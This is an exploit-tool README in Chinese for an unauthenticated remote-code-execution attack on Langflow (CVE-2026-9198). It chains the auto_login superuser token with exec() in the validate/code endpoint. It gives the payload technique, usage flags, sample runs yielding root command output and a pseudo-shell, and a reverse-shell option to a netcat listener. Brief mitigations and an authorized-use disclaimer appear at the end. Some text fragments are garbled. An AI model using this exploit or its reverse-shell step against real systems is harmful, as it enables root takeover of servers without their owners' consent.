在默认部署的 IBM Langflow OSS (1.0.0 – 1.10.0) 中实现未授权远程代码执行。利用了两个漏洞：
AUTO_LOGIN 启用时（Langflow < 1.5 中的默认设置），GET /api/v1/auto_login 为任何无需凭证的调用者生成一个 SUPERUSER JWT。POST /api/v1/validate/code 将用户提供的 Python 代码传递给 exec()，且无沙箱隔离。结合两者（CVE-2026-9198），未授权攻击者能够以 Langflow 服务用户的身份执行代码——该用户通常是 root。
从 /api/v1/auto_login 请求超级用户 Bearer 令牌（无需认证）。
向 /api/v1/validate/code 提交有效载荷。该端点通过 执行代码以“验证”它；Python 在定义时评估 ，因此有效载荷被封装在函数默认参数中：
exec()def _v(a=exec('<payload>')): pass
为了执行命令，有效载荷会抛出一个异常，其消息为命令输出，该输出由端点在响应中返回（function.errors[]）。
./exploit.py -t <target> [options]
-t, --target target host/IP (or full URL) (required)
-p, --port Langflow port (default 7860)
-c, --cmd run a single shell command, print output
--shell interactive pseudo-shell (each line runs via the RCE)
--lhost reverse-shell listener IP
--lport reverse-shell listener port (default 4444)
-k, --token use this bearer token (skip auto_login)
--timeout HTTP timeout in seconds (default 20)
--no-banner suppress the banner
-h, --help show help
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
auto_login (superuser token) -> validate/code (exec)
[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.
pip install）AUTO_LOGIN 启用时有效（Langflow < 1.5 的默认设置；>= 1.5 需要显式设置 LANGFLOW_AUTO_LOGIN=true）。如果 auto_login 未返回令牌，则目标无法通过此路径利用——如果有有效令牌，可以使用 -k 提供。function.errors[] 中返回；stderr 合并到 stdout 中，因此失败的命令仍会显示其错误信息。root（在 systemd/Docker-as-root 下直接运行 langflow run 时常见），则直接获得主机 root 权限。validate/code 不得对不可信输入执行 exec()，auto_login 不得生成超级用户令牌。LANGFLOW_AUTO_LOGIN=false 并配置真实的超级用户凭据。root 身份运行 Langflow 服务。本项目仅供授权的安全测试和教育目的使用。请勿对您不拥有的系统或未经明确许可测试的系统使用。作者不对滥用行为承担任何责任。